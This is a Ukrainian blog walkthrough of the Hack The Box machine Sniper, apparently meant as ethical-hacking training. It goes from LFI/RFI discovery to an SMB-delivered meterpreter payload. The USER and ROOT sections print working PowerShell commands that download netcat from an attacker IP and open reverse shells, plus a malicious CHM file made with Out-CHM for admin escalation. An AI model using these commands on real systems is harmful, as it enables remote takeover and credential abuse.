19. Hack The Box. Level Medium: Проходження Sniper. RFI та шкідливий CHM документ

19 грудня 2024 2 хвилин Автор: Lady Liberty

Якщо ви цікавитеся тестуванням на проникнення або хочете вдосконалити свої навички етичного хакінгу, проходження віртуальної машини Sniper на платформі Hack The Box стане для вас чудовим викликом. У цій статті ми детально розглянемо весь процес: від етапу розвідки (Recon) до ескалації привілеїв до рівня адміністратора.

Покрокове проходження Sniper із використанням RFI та шкідливого CHM-документа

Продовження публікації рішень задач, відправлених на доробку з майданчика HackTheBox. Цей матеріал може стати в пригоді для тих, хто прагне розвиватися у сфері інформаційної безпеки. У статті розглядається експлуатація RFI, обхід блокування оболонки meterpreter та створення шкідливого документа CHM.

Підключення до лабораторії здійснюється через VPN. Рекомендується уникати використання робочого комп’ютера чи пристроїв із важливими даними, оскільки підключення відбувається до приватної мережі, де перебувають досвідчені фахівці з інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.151, яку додаємо в /etc/hosts.

10.10.10.151    sniper.htb
Спершу виконується сканування відкритих портів. Щоб уникнути тривалого процесу перевірки всіма портами за допомогою nmap, для початкового сканування застосовується masscan. За допомогою цього інструмента проводиться сканування всіх TCP- та UDP-портів через інтерфейс tun0 зі швидкістю 1000 пакетів за секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.151 --rate=1000

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A sniper.htb -p80,135,139,445

На хості відкрито 4 порти, дізнаємося, що нам може дати веб-сервер.

Перші три посилання порожні, а ось два інші привели на сторінки блогу та авторизації.

Одразу з’являються припущення щодо можливості використання LFI (Local File Inclusion). Для перевірки цієї вразливості пропонується прочитати один із доступних для перегляду системних файлів, наприклад hosts (цей файл існує як у Linux, так і в Windows).

Припущення підтвердилося — виявлено LFI (Local File Inclusion).

Entry Point

Окрім цього, є шанс перевірити можливість використання RFI (Remote File Inclusion). Для цього створюється тестовий файл, який буде використовуватися для подальшого дослідження вразливості.

Для розгортання локального SMB-сервера SAMBA необхідно внести відповідні конфігурації до файлу /etc/samba/smb.conf. У конфігурації потрібно вказати шлях до потрібної директорії та надати дозволи для доступу від імені гостя.

Запускаємо службу smbd.

service smbd start

І, звернувшись до ресурсу, отримаємо позитивний результат.

Тепер кидаємо навантаження. Створимо її за допомогою msfvenom, потім активуємо листенер.

Звертаємось до файлу. І отримуємо підключення.

Оскільки на сайті є сторінка авторизації, існує можливість знайти хоча б якісь облікові дані. Поточне розташування — директорія сторінки blog.

Завантажуємо все, що є в директорії user.

Під час перегляду всіх файлів на локальному хості були виявлені облікові дані для підключення до бази даних.

USER

Для визначення користувачів у системі було спробовано виконати відповідні команди. Однак під час виконання будь-якої команди через meterpreter з’єднання переривається. Це може свідчити про блокування командного процесора cmd, зокрема параметра (-a).

execute -f powershell -a "net users" -i -H

А тепер спробуємо виконати команду в контексті даного користувача. Для цього як параметр передамо наступний скриптик в powershell.

execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { whoami }" -i -H

Завантажимо на хост netcat. Для цього в директорії з ним запустимо сервер HTTP.

python3 -m http.server 80

Виконаємо завантаження.

execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { iwr 10.10.15.55/nc -o C:\\Users\\Chris\\Documents\\nc.exe }" -i -H

Тепер запускаємо у себе netcat, виконуємо підключення та отримуємо сесію користувача.

execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 6543}" -i -H

ROOT

Після деякого огляду директорій було виявлено файл у форматі CHM. Його призначення на даному етапі залишається незрозумілим.

У папці Docs на диску C: виявлено записку, у якій зазначено, що користувач не має навичок роботи з PHP і повинен підготувати документацію. Документи мають бути залишені в цій самій папці.

Для створення шкідливого CHM-файлу спочатку встановлюється HTML Help Workshop, а далі використовується утиліта Out-Chm з пакету Nishang для генерації необхідного файлу.

Out-CHM -Payload "C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 8765" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Збереження створеного файлу у цільову директорію на віддаленому хості завершується успішно.

wget http://10.10.15.55/doc.chm -o C:\Docs\doc.chm

У результаті отримано сесію з правами адміністратора.

Висновок

У статті описано проходження віртуальної машини Sniper на платформі Hack The Box, включаючи виявлення та використання вразливостей LFI та RFI, обхід блокування командного інтерпретатора та створення шкідливого CHM-файлу для ескалації привілеїв. Матеріал підкреслює важливість належного захисту серверів, налаштування доступу до файлів і перевірки безпеки веб-додатків.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.